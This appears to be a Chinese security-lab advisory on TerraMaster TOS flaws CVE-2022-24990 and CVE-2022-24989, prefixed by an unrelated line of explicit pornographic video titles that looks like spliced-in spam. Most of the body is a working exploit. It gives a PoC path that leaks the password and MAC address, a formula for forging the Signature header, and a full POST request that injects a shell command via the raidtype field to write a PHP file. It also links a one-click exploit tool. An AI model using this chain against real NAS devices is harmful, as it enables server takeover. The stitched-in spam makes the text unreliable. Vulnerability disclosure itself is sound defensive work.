老赵揉搓苏清雅双乳的视频_老头老太性行交视频_老同学3免费集_老师没戴套子C了我一天视频_老师的丰满大乳奶_老师把我添高潮了A片潘金莲

古語有云：“學如逆水行舟，不進則退。”面對如今隨時都在變化的網絡安全環境更是如此。為此，創信華通微信公眾號特開設“創安實驗室專欄”，以記錄創信華通創安實驗室在技術上的探索，加強同行間的交流，相互學習，共同進步。

?+

TerraMaster TOS 存在信息泄漏漏洞，攻擊者通過漏洞可以獲取服務器上的敏感信息，配合 CVE-2022-24989漏洞可以獲取服務器權限

TerraMaster TOS < 4.2.31

CVE-2022-24990、CVE-2022-24989

嚴重

目前外界Exp/PoC已公開，創安實驗室已驗證該漏洞的可利用性：

數據包中只需要添加 User-Agent: TNAS, 可以訪問到敏感信息

poc: /module/api.php?mobile/webNasIPS

利用信息泄露的 PWD和mac地址，我們就可以利用這個命令執行漏洞了

在發送請求包寫入 php惡意文件

其中md5(mac地址后三字節 + 當前時間戳) = $_SERVER['HTTP_SIGNATURE']

POST /module/api.php?mobile/createRaid HTTP/1.1

Host:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: deflate

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6

Authorization: PWD

Cache-Control: max-age=0

Content-Length: 82

Content-Type: application/x-www-form-urlencoded

Cookie: PHPSESSID=; tos_visit_time=時間戳

Signature: sign

Timestamp: 時間戳

Upgrade-Insecure-Requests: 1

User-Agent: TNAS

raidtype=%3Becho+%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3Evuln1.php&diskstring=XXXX

這里利用https://github.com/lishang520/CVE-2022-24990進行一鍵獲取和上傳

升級到安全版本

創安實驗室